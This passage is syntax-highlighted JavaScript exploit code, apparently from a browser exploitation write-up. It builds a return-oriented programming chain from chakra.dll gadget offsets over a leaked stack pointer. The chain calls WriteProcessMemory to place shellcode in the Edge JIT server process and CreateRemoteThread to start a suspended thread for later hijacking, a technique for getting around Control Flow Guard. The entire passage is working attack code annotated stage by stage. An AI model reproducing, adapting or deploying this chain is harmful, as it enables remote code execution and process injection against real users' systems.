<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
<span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress</span>

<span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
